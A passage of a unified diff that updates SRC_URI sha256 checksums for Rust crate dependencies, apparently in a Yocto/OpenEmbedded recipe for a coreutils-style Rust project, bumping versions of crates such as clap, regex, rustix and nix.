+SRC_URI[blake3-1.5.0.sha256sum] = "0231f06152bf547e9c2b5194f247cd97aacf6dcd8b15d8e5ec0663f64580da87"
SRC_URI[block-buffer-0.10.3.sha256sum] = "69cce20737498f97b993470a6e536b8523f0af7892a4f928cceb1ac5e52ebe7e"
-SRC_URI[bstr-1.6.0.sha256sum] = "6798148dccfbff0fae41c7574d2fa8f1ef3492fba0face179de5d8d447d67b05"
+SRC_URI[bstr-1.8.0.sha256sum] = "542f33a8835a0884b006a0c3df3dadd99c0c3f296ed26c2fdc8028e01ad6230c"
SRC_URI[bumpalo-3.11.1.sha256sum] = "572f695136211188308f16ad2ca5c851a712c464060ae6974944458eb83880ba"
-SRC_URI[bytecount-0.6.3.sha256sum] = "2c676a478f63e9fa2dd5368a42f28bba0d6c560b775f38583c8bbaa7fcd67c9c"
-SRC_URI[byteorder-1.4.3.sha256sum] = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
+SRC_URI[bytecount-0.6.7.sha256sum] = "e1e5f035d16fc623ae5f74981db80a439803888314e3a555fd6f04acd51a3205"
+SRC_URI[byteorder-1.5.0.sha256sum] = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
SRC_URI[cc-1.0.79.sha256sum] = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"
SRC_URI[cexpr-0.6.0.sha256sum] = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-SRC_URI[chrono-0.4.28.sha256sum] = "95ed24df0632f708f5f6d8082675bef2596f7084dee3dd55f632290bf35bfe0f"
+SRC_URI[chrono-0.4.31.sha256sum] = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38"
SRC_URI[clang-sys-1.4.0.sha256sum] = "fa2e27ae6ab525c3d369ded447057bca5438d86dc3a68f6faafb8269ba82ebf3"
-SRC_URI[clap-4.3.21.sha256sum] = "c27cdf28c0f604ba3f512b0c9a409f8de8513e4816705deb0498b627e7c3a3fd"
-SRC_URI[clap_builder-4.3.21.sha256sum] = "08a9f1ab5e9f01a9b81f202e8562eb9a10de70abf9eaeac1be465c28b75aa4aa"
-SRC_URI[clap_complete-4.3.0.sha256sum] = "a04ddfaacc3bc9e6ea67d024575fafc2a813027cf374b8f24f7bc233c6b6be12"
+SRC_URI[clap-4.4.2.sha256sum] = "6a13b88d2c62ff462f88e4a121f17a82c1af05693a2f192b5c38d14de73c19f6"
+SRC_URI[clap_builder-4.4.2.sha256sum] = "2bb9faaa7c2ef94b2743a21f5a29e6f0010dff4caa69ac8e9d6cf8b6fa74da08"
+SRC_URI[clap_complete-4.4.0.sha256sum] = "586a385f7ef2f8b4d86bddaa0c094794e7ccbfe5ffef1f434fe928143fc783a5"
SRC_URI[clap_lex-0.5.0.sha256sum] = "2da6da31387c7e4ef160ffab6d5e7f00c42626fe39aea70a7b0f1773f7dd6c1b"
SRC_URI[clap_mangen-0.2.9.sha256sum] = "bb0f09a0ca8f0dd8ac92c546b426f466ef19828185c6d504c80c48c9c2768ed9"
SRC_URI[colorchoice-1.0.0.sha256sum] = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
SRC_URI[compare-0.1.0.sha256sum] = "120133d4db2ec47efe2e26502ee984747630c67f51974fca0b6c1340cf2368d3"
SRC_URI[console-0.15.7.sha256sum] = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8"
-SRC_URI[const-random-0.1.15.sha256sum] = "368a7a772ead6ce7e1de82bfb04c485f3db8ec744f72925af5735e29a22cc18e"
-SRC_URI[const-random-macro-0.1.15.sha256sum] = "9d7d6ab3c3a2282db210df5f02c4dab6e0a7057af0fb7ebd4070f30fe05c0ddb"
-SRC_URI[constant_time_eq-0.2.4.sha256sum] = "f3ad85c1f65dc7b37604eb0e89748faf0b9653065f2a8ef69f96a687ec1e9279"
+SRC_URI[const-random-0.1.16.sha256sum] = "11df32a13d7892ec42d51d3d175faba5211ffe13ed25d4fb348ac9e9ce835593"
+SRC_URI[const-random-macro-0.1.16.sha256sum] = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e"
+SRC_URI[constant_time_eq-0.3.0.sha256sum] = "f7144d30dcf0fafbce74250a3963025d8d52177934239851c917d29f1df280c2"
SRC_URI[conv-0.3.3.sha256sum] = "78ff10625fd0ac447827aa30ea8b861fead473bb60aeb73af6c1c58caf0d1299"
SRC_URI[core-foundation-sys-0.8.3.sha256sum] = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc"
SRC_URI[coz-0.1.3.sha256sum] = "cef55b3fe2f5477d59e12bc792e8b3c95a25bd099eadcfae006ecea136de76e2"
@@ -334,7 +332,7 @@ SRC_URI[crossterm-0.27.0.sha256sum] = "f476fe445d41c9e991fd07515a6f463074b782242
SRC_URI[crossterm_winapi-0.9.1.sha256sum] = "acdd7c62a3665c7f6830a51635d9ac9b23ed385797f70a83bb8bafe9c572ab2b"
SRC_URI[crunchy-0.2.2.sha256sum] = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7"
SRC_URI[crypto-common-0.1.6.sha256sum] = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-SRC_URI[ctrlc-3.4.0.sha256sum] = "2a011bbe2c35ce9c1f143b7af6f94f29a167beb4cd1d29e6740ce836f723120e"
+SRC_URI[ctrlc-3.4.1.sha256sum] = "82e95fbd621905b854affdc67943b043a0fbb6ed7385fd5a25650d19a8a6cfdf"
SRC_URI[custom_derive-0.1.7.sha256sum] = "ef8ae57c4978a2acd8b869ce6b9ca1dfe817bff704c220209fdef2c0b75a01b9"
SRC_URI[data-encoding-2.4.0.sha256sum] = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308"
SRC_URI[data-encoding-macro-0.1.13.sha256sum] = "c904b33cc60130e1aeea4956ab803d08a3f4a0ca82d64ed757afac3891f2bb99"
@@ -342,14 +340,13 @@ SRC_URI[data-encoding-macro-internal-0.1.11.sha256sum] = "8fdf3fce3ce863539ec1d7
SRC_URI[diff-0.1.13.sha256sum] = "56254986775e3233ffa9c4d7d3faaf6d36a2c09d30b20687e9f88bc8bafc16c8"
SRC_URI[digest-0.10.7.sha256sum] = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
SRC_URI[dlv-list-0.5.0.sha256sum] = "d529fd73d344663edfd598ccb3f344e46034db51ebd103518eae34338248ad73"
-SRC_URI[dns-lookup-2.0.2.sha256sum] = "8f332aa79f9e9de741ac013237294ef42ce2e9c6394dc7d766725812f1238812"
+SRC_URI[dns-lookup-2.0.4.sha256sum] = "e5766087c2235fec47fafa4cfecc81e494ee679d0fd4a59887ea0919bfb0e4fc"
SRC_URI[dunce-1.0.4.sha256sum] = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b"
SRC_URI[either-1.8.0.sha256sum] = "90e5c1c8368803113bf0c9584fc495a58b86dc8a29edbf8fe877d21d9507e797"
SRC_URI[encode_unicode-0.3.6.sha256sum] = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f"
SRC_URI[env_logger-0.8.4.sha256sum] = "a19187fea3ac7e84da7dacf48de0c45d63c6a76f9490dae389aead16c243fce3"
-SRC_URI[errno-0.3.1.sha256sum] = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a"
-SRC_URI[errno-dragonfly-0.1.2.sha256sum] = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf"
-SRC_URI[exacl-0.10.0.sha256sum] = "1cfeb22a59deb24c3262c43ffcafd1eb807180f371f9fcc99098d181b5d639be"
+SRC_URI[errno-0.3.5.sha256sum] = "ac3e13f66a2f95e32a39eaa81f6b95d42878ca0e1db0c7543723dfe12557e860"
+SRC_URI[exacl-0.11.0.sha256sum] = "c695152c1c2777163ea93fff517edc6dd1f8fc226c14b0d60cdcde0beb316d9f"
SRC_URI[fastrand-2.0.0.sha256sum] = "6999dc1837253364c2ebb0704ba97994bd874e8f195d665c50b7548f6ea92764"
SRC_URI[file_diff-1.0.0.sha256sum] = "31a7a908b8f32538a2143e59a6e4e2508988832d5d4d6f7c156b3cbc762643a5"
SRC_URI[filetime-0.2.22.sha256sum] = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0"
@@ -374,7 +371,7 @@ SRC_URI[gcd-2.3.0.sha256sum] = "1d758ba1b47b00caf47f24925c0074ecb20d6dfcffe7f6d5
SRC_URI[generic-array-0.14.6.sha256sum] = "bff49e947297f3312447abdca79f45f4738097cc82b06e72054d2223f601f1b9"
SRC_URI[getrandom-0.2.9.sha256sum] = "c85e1d9ab2eadba7e5040d4e09cbd6d072b76a557ad64e797c2cb9d4da21d7e4"
SRC_URI[glob-0.3.1.sha256sum] = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
-SRC_URI[half-2.2.1.sha256sum] = "02b4af3693f1b705df946e9fe5631932443781d0aabb423b62fcd4d73f6d2fd0"
+SRC_URI[half-2.3.1.sha256sum] = "bc52e53916c08643f1b56ec082790d1e86a32e58dc5268f897f313fbae7b4872"
SRC_URI[hashbrown-0.13.2.sha256sum] = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e"
SRC_URI[hermit-abi-0.3.2.sha256sum] = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b"
SRC_URI[hex-0.4.3.sha256sum] = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
@@ -386,7 +383,6 @@ SRC_URI[indicatif-0.17.3.sha256sum] = "cef509aa9bc73864d6756f0d34d35504af3cf0844
SRC_URI[inotify-0.9.6.sha256sum] = "f8069d3ec154eb856955c1c0fbffefbf5f3c40a104ec912d4797314c1801abff"
SRC_URI[inotify-sys-0.1.5.sha256sum] = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb"
SRC_URI[io-lifetimes-1.0.11.sha256sum] = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2"
-SRC_URI[is-terminal-0.4.9.sha256sum] = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b"
SRC_URI[itertools-0.11.0.sha256sum] = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57"
SRC_URI[itoa-1.0.4.sha256sum] = "4217ad341ebadf8d8e724e264f13e593e0648f5b3e94b3896a5df283be015ecc"
SRC_URI[js-sys-0.3.64.sha256sum] = "c5f195fe497f702db0f318b07fdd68edb16955aed830df8363d837542f8f935a"
@@ -395,31 +391,30 @@ SRC_URI[kqueue-1.0.7.sha256sum] = "2c8fc60ba15bf51257aa9807a48a61013db043fcf3a78
SRC_URI[kqueue-sys-1.0.3.sha256sum] = "8367585489f01bc55dd27404dcf56b95e6da061a256a666ab23be9ba96a2e587"
SRC_URI[lazy_static-1.4.0.sha256sum] = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
SRC_URI[lazycell-1.3.0.sha256sum] = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
-SRC_URI[libc-0.2.147.sha256sum] = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
+SRC_URI[libc-0.2.150.sha256sum] = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c"
SRC_URI[libloading-0.7.4.sha256sum] = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f"
SRC_URI[libm-0.2.7.sha256sum] = "f7012b1bbb0719e1097c47611d3898568c546d597c2e74d66f6087edd5233ff4"
SRC_URI[linux-raw-sys-0.1.4.sha256sum] = "f051f77a7c8e6957c0696eac88f26b0117e54f52d3fc682ab19397a8812846a4"
SRC_URI[linux-raw-sys-0.3.8.sha256sum] = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519"
-SRC_URI[linux-raw-sys-0.4.5.sha256sum] = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503"
+SRC_URI[linux-raw-sys-0.4.10.sha256sum] = "da2479e8c062e40bf0066ffa0bc823de0a9368974af99c9f6df941d2c231e03f"
SRC_URI[lock_api-0.4.9.sha256sum] = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df"
SRC_URI[log-0.4.17.sha256sum] = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
SRC_URI[lscolors-0.15.0.sha256sum] = "bf7015a04103ad78abb77e4b79ed151e767922d1cfde5f62640471c629a2320d"
SRC_URI[match_cfg-0.1.0.sha256sum] = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4"
-SRC_URI[md-5-0.10.5.sha256sum] = "6365506850d44bff6e2fbcb5176cf63650e48bd45ef2fe2665ae1570e0f4b9ca"
+SRC_URI[md-5-0.10.6.sha256sum] = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf"
SRC_URI[memchr-2.6.2.sha256sum] = "5486aed0026218e61b8a01d5fbd5a0a134649abb71a0e53b7bc088529dced86e"
-SRC_URI[memmap2-0.7.0.sha256sum] = "180d4b35be83d33392d1d1bfbd2ae1eca7ff5de1a94d3fc87faaa99a069e7cbd"
+SRC_URI[memmap2-0.9.0.sha256sum] = "deaba38d7abf1d4cca21cc89e932e542ba2b9258664d2a9ef0e61512039c9375"
SRC_URI[memoffset-0.8.0.sha256sum] = "d61c719bcfbcf5d62b3a09efa6088de8c54bc0bfcd3ea7ae39fcc186108b8de1"
SRC_URI[minimal-lexical-0.2.1.sha256sum] = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
SRC_URI[miniz_oxide-0.5.4.sha256sum] = "96590ba8f175222643a85693f33d26e9c8a015f599c216509b1a6894af675d34"
SRC_URI[mio-0.8.6.sha256sum] = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9"
-SRC_URI[nix-0.26.2.sha256sum] = "bfdda3d196821d6af13126e40375cdf7da646a96114af134d5f417a9a1dc8e1a"
+SRC_URI[nix-0.27.1.sha256sum] = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
SRC_URI[nom-7.1.3.sha256sum] = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
SRC_URI[notify-6.0.1.sha256sum] = "5738a2795d57ea20abec2d6d76c6081186709c0024187cd5977265eda6598b51"
SRC_URI[nu-ansi-term-0.49.0.sha256sum] = "c073d3c1930d0751774acf49e66653acecb416c3a54c6ec095a9b11caddb5a68"
SRC_URI[num-bigint-0.4.4.sha256sum] = "608e7659b5c3d7cba262d894801b9ec9d00de989e8a82bd4bef91d08da45cdc0"
SRC_URI[num-integer-0.1.45.sha256sum] = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9"
-SRC_URI[num-traits-0.2.16.sha256sum] = "f30b0abd723be7e2ffca1272140fac1a2f084c77ec3e123c192b66af1ee9e6c2"
-SRC_URI[num_cpus-1.16.0.sha256sum] = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
+SRC_URI[num-traits-0.2.17.sha256sum] = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c"
SRC_URI[num_threads-0.1.6.sha256sum] = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44"
SRC_URI[number_prefix-0.4.0.sha256sum] = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3"
SRC_URI[once_cell-1.18.0.sha256sum] = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
@@ -429,7 +424,7 @@ SRC_URI[ordered-multimap-0.6.0.sha256sum] = "4ed8acf08e98e744e5384c8bc63ceb0364e
SRC_URI[os_display-0.1.3.sha256sum] = "7a6229bad892b46b0dcfaaeb18ad0d2e56400f5aaea05b768bde96e73676cf75"
SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
SRC_URI[parking_lot_core-0.9.8.sha256sum] = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447"
-SRC_URI[parse_datetime-0.4.0.sha256sum] = "fecceaede7767a9a98058687a321bc91742eff7670167a34104afb30fc8757df"
+SRC_URI[parse_datetime-0.5.0.sha256sum] = "3bbf4e25b13841080e018a1e666358adfe5e39b6d353f986ca5091c210b586a1"
SRC_URI[peeking_take_while-0.1.2.sha256sum] = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099"
SRC_URI[phf-0.11.2.sha256sum] = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc"
SRC_URI[phf_codegen-0.11.2.sha256sum] = "e8d39688d359e6b34654d328e262234662d16cc0f60ec8dcbe5e718709342a5a"
@@ -444,7 +439,8 @@ SRC_URI[ppv-lite86-0.2.17.sha256sum] = "5b40af805b3121feab8a3c29f04d8ad262fa8e05
SRC_URI[pretty_assertions-1.4.0.sha256sum] = "af7cee1a6c8a5b9208b3cb1061f10c0cb689087b3d8ce85fb9d2dd7a29b6ba66"
SRC_URI[proc-macro-hack-0.5.20+deprecated.sha256sum] = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068"
SRC_URI[proc-macro2-1.0.63.sha256sum] = "7b368fba921b0dce7e60f5e04ec15e565b3303972b42bcfde1d0713b881959eb"
-SRC_URI[procfs-0.15.1.sha256sum] = "943ca7f9f29bab5844ecd8fdb3992c5969b6622bb9609b9502fef9b4310e3f1f"
+SRC_URI[procfs-0.16.0.sha256sum] = "731e0d9356b0c25f16f33b5be79b1c57b562f141ebfcdb0ad8ac2c13a24293b4"
+SRC_URI[procfs-core-0.16.0.sha256sum] = "2d3554923a69f4ce04c4a754260c338f505ce22642d3830e049a399fc2059a29"
SRC_URI[quick-error-2.0.1.sha256sum] = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3"
SRC_URI[quickcheck-1.0.3.sha256sum] = "588f6378e4dd99458b60ec275b4477add41ce4fa9f64dcba6f15adccb19b50d6"
SRC_URI[quote-1.0.29.sha256sum] = "573015e8ab27661678357f27dc26460738fd2b6c86e46f386fde94cb5d913105"
@@ -452,13 +448,14 @@ SRC_URI[rand-0.8.5.sha256sum] = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c390
SRC_URI[rand_chacha-0.3.1.sha256sum] = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
SRC_URI[rand_core-0.6.4.sha256sum] = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
SRC_URI[rand_pcg-0.3.1.sha256sum] = "59cad018caf63deb318e5a4586d99a24424a364f40f1e5778c29aca23f4fc73e"
-SRC_URI[rayon-1.7.0.sha256sum] = "1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b"
-SRC_URI[rayon-core-1.11.0.sha256sum] = "4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d"
+SRC_URI[rayon-1.8.0.sha256sum] = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1"
+SRC_URI[rayon-core-1.12.0.sha256sum] = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed"
SRC_URI[redox_syscall-0.3.5.sha256sum] = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29"
+SRC_URI[redox_syscall-0.4.0.sha256sum] = "ded0bce2d41cc3c57aefa284708ced249a64acb01745dbbe72bd78610bfd644c"
SRC_URI[reference-counted-singleton-0.1.2.sha256sum] = "f1bfbf25d7eb88ddcbb1ec3d755d0634da8f7657b2cb8b74089121409ab8228f"
-SRC_URI[regex-1.9.5.sha256sum] = "697061221ea1b4a94a624f67d0ae2bfe4e22b8a17b6a192afb11046542cc8c47"
-SRC_URI[regex-automata-0.3.8.sha256sum] = "c2f401f4955220693b56f8ec66ee9c78abffd8d1c4f23dc41a23839eb88f0795"
-SRC_URI[regex-syntax-0.7.5.sha256sum] = "dbb5fb1acd8a1a18b3dd5be62d25485eb770e05afb408a9627d14d451bae12da"
+SRC_URI[regex-1.10.2.sha256sum] = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343"
+SRC_URI[regex-automata-0.4.3.sha256sum] = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f"
+SRC_URI[regex-syntax-0.8.2.sha256sum] = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f"
SRC_URI[relative-path-1.8.0.sha256sum] = "4bf2521270932c3c7bed1a59151222bd7643c79310f2916f01925e1e16255698"
SRC_URI[rlimit-0.10.1.sha256sum] = "3560f70f30a0f16d11d01ed078a07740fe6b489667abc7c7b029155d9f21c3d8"
SRC_URI[roff-0.2.1.sha256sum] = "b833d8d034ea094b1ea68aa6d5c740e0d04bad9d16568d08ba6f76823a114316"
@@ -468,17 +465,17 @@ SRC_URI[rust-ini-0.19.0.sha256sum] = "7e2a3bcec1f113553ef1c88aae6c020a369d03d55b
SRC_URI[rustc-hash-1.1.0.sha256sum] = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
SRC_URI[rustc_version-0.4.0.sha256sum] = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
SRC_URI[rustix-0.36.15.sha256sum] = "c37f1bd5ef1b5422177b7646cba67430579cfe2ace80f284fee876bca52ad941"
-SRC_URI[rustix-0.37.23.sha256sum] = "4d69718bf81c6127a49dc64e44a742e8bb9213c0ff8869a22c308f84c1d4ab06"
-SRC_URI[rustix-0.38.8.sha256sum] = "19ed4fa021d81c8392ce04db050a3da9a60299050b7ae1cf482d862b54a7218f"
+SRC_URI[rustix-0.37.26.sha256sum] = "84f3f8f960ed3b5a59055428714943298bf3fa2d4a1d53135084e0544829d995"
+SRC_URI[rustix-0.38.21.sha256sum] = "2b426b0506e5d50a7d8dafcf2e81471400deb602392c7dd110815afb4eaf02a3"
SRC_URI[same-file-1.0.6.sha256sum] = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
SRC_URI[scopeguard-1.1.0.sha256sum] = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
-SRC_URI[self_cell-1.0.1.sha256sum] = "4c309e515543e67811222dbc9e3dd7e1056279b782e1dacffe4242b718734fb6"
+SRC_URI[self_cell-1.0.2.sha256sum] = "e388332cd64eb80cd595a00941baf513caffae8dce9cfd0467fc9c66397dade6"
SRC_URI[selinux-0.4.0.sha256sum] = "a00576725d21b588213fbd4af84cd7e4cc4304e8e9bd6c0f5a1498a3e2ca6a51"
SRC_URI[selinux-sys-0.6.2.sha256sum] = "806d381649bb85347189d2350728817418138d11d738e2482cb644ec7f3c755d"
SRC_URI[semver-1.0.14.sha256sum] = "e25dfac463d778e353db5be2449d1cce89bd6fd23c9f1ea21310ce6e5a1b29c4"
SRC_URI[serde-1.0.147.sha256sum] = "d193d69bae983fc11a79df82342761dfbf28a99fc8d203dca4c3c1b590948965"
-SRC_URI[sha1-0.10.5.sha256sum] = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3"
-SRC_URI[sha2-0.10.7.sha256sum] = "479fb9d862239e610720565ca91403019f2f00410f1864c5aa7479b950a76ed8"
+SRC_URI[sha1-0.10.6.sha256sum] = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
+SRC_URI[sha2-0.10.8.sha256sum] = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
SRC_URI[sha3-0.10.8.sha256sum] = "75872d278a8f37ef87fa0ddbda7802605cb18344497949862c0d4dcb291eba60"
SRC_URI[shlex-1.1.0.sha256sum] = "43b2853a4d09f215c24cc5489c992ce46052d359b5109343cbafbf26bc62f8a3"
SRC_URI[signal-hook-0.3.17.sha256sum] = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801"
@@ -490,14 +487,12 @@ SRC_URI[sm3-0.4.2.sha256sum] = "ebb9a3b702d0a7e33bc4d85a14456633d2b165c2ad839c5f
SRC_URI[smallvec-1.11.0.sha256sum] = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9"
SRC_URI[smawk-0.3.1.sha256sum] = "f67ad224767faa3c7d8b6d91985b78e70a1324408abcb1cfcc2be4c06bc06043"
SRC_URI[socket2-0.5.3.sha256sum] = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877"
-SRC_URI[static_assertions-1.1.0.sha256sum] = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
SRC_URI[strsim-0.10.0.sha256sum] = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
-SRC_URI[subtle-2.4.1.sha256sum] = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"
SRC_URI[syn-1.0.109.sha256sum] = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
SRC_URI[syn-2.0.23.sha256sum] = "59fb7d6d8281a51045d62b8eb3a7d1ce347b76f312af50cd3dc0af39c87c1737"
-SRC_URI[tempfile-3.8.0.sha256sum] = "cb94d2f3cc536af71caac6b6fcebf65860b347e7ce0cc9ebe8f70d3e521054ef"
-SRC_URI[term_grid-0.1.7.sha256sum] = "230d3e804faaed5a39b08319efb797783df2fd9671b39b7596490cb486d702cf"
+SRC_URI[tempfile-3.8.1.sha256sum] = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5"
SRC_URI[terminal_size-0.2.6.sha256sum] = "8e6bf6f19e9f8ed8d4048dc22981458ebcf406d67e94cd422e5ecd73d63b3237"
+SRC_URI[terminal_size-0.3.0.sha256sum] = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7"
SRC_URI[textwrap-0.16.0.sha256sum] = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d"
SRC_URI[thiserror-1.0.37.sha256sum] = "10deb33631e3c9018b9baf9dcbbc4f737320d2b576bac10f6aefa048fa407e3e"
SRC_URI[thiserror-impl-1.0.37.sha256sum] = "982d17546b47146b28f7c22e3d08465f6b8903d0ea13c1660d9d84a6e7adcdbb"
@@ -509,13 +504,14 @@ SRC_URI[typenum-1.15.0.sha256sum] = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817
SRC_URI[unicode-ident-1.0.5.sha256sum] = "6ceab39d59e4c9499d4e5a8ee0e2735b891bb7308ac83dfb4e80cad195c9f6f3"
SRC_URI[unicode-linebreak-0.1.5.sha256sum] = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f"
SRC_URI[unicode-segmentation-1.10.1.sha256sum] = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36"
-SRC_URI[unicode-width-0.1.10.sha256sum] = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b"
+SRC_URI[unicode-width-0.1.11.sha256sum] = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85"
SRC_URI[unicode-xid-0.2.4.sha256sum] = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c"
SRC_URI[unindent-0.2.1.sha256sum] = "5aa30f5ea51ff7edfc797c6d3f9ec8cbd8cfedef5371766b7181d33977f4814f"
SRC_URI[utf8parse-0.2.1.sha256sum] = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
SRC_URI[uuid-1.2.2.sha256sum] = "422ee0de9031b5b948b97a8fc04e3aa35230001a722ddd27943e0be31564ce4c"
+SRC_URI[uutils_term_grid-0.3.0.sha256sum] = "b389452a568698688dda38802068378a16c15c4af9b153cdd99b65391292bbc7"
SRC_URI[version_check-0.9.4.sha256sum] = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-SRC_URI[walkdir-2.3.2.sha256sum] = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56"
+SRC_URI[walkdir-2.4.0.sha256sum] = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee"
SRC_URI[wasi-0.11.0+wasi-snapshot-preview1.sha256sum] = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
